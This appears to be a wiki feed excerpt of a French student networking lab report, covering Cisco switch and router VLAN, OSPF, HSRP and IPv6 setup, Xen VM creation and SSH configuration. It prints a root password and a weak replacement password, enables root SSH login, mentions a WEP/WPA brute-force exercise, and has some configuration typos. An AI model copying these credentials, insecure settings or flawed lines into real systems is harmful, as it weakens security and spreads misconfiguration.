    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51602</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51602"/>
				<updated>2019-12-07T13:34:39Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Stockage Raid5 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
